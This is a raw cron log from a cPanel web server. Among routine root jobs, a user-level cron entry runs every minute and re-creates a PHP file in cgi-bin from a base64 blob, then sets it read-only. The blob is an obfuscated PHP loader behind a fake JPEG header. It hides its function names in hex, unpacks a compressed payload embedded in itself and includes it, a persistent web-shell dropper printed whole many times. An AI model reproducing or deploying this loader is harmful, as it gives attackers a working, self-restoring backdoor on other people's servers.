Sep  8 21:04:01 server CROND[25692]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 21:04:01 server CROND[25693]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 21:05:01 server CROND[26189]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 21:05:01 server CROND[26190]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 21:05:01 server CROND[26191]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  8 21:05:01 server CROND[26195]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  8 21:05:01 server CROND[26198]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 21:05:01 server CROND[26199]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 21:05:01 server CROND[26197]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 21:05:01 server CROND[26196]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  8 21:06:01 server CROND[27042]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 21:06:01 server CROND[27043]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 21:06:01 server CROND[27044]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 21:07:01 server CROND[27426]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 21:07:01 server CROND[27427]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 21:07:01 server CROND[27428]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 21:08:01 server CROND[27804]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 21:08:01 server CROND[27805]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 21:08:01 server CROND[27806]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 21:09:01 server CROND[28291]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 21:09:01 server CROND[28292]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 21:09:01 server CROND[28293]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 21:09:01 server CROND[28294]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  8 21:10:01 server CROND[28690]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  8 21:10:01 server CROND[28692]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  8 21:10:01 server CROND[28697]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 21:10:01 server CROND[28695]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 21:10:01 server CROND[28696]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 21:10:01 server CROND[28699]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 21:10:01 server CROND[28700]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 21:10:01 server CROND[28698]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  8 21:11:01 server CROND[29507]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 21:11:01 server CROND[29509]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 21:11:01 server CROND[29508]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 21:12:01 server CROND[29887]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 21:12:01 server CROND[29889]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 21:12:01 server CROND[29888]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 21:12:01 server CROND[29890]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  8 21:13:01 server CROND[30365]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 21:13:01 server CROND[30366]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 21:13:01 server CROND[30367]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 21:14:01 server CROND[30766]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 21:14:01 server CROND[30767]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 21:14:01 server CROND[30768]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 21:15:01 server CROND[31192]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 21:15:01 server CROND[31194]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  8 21:15:01 server CROND[31200]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 21:15:01 server CROND[31204]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 21:15:01 server CROND[31203]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  8 21:15:01 server CROND[31206]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
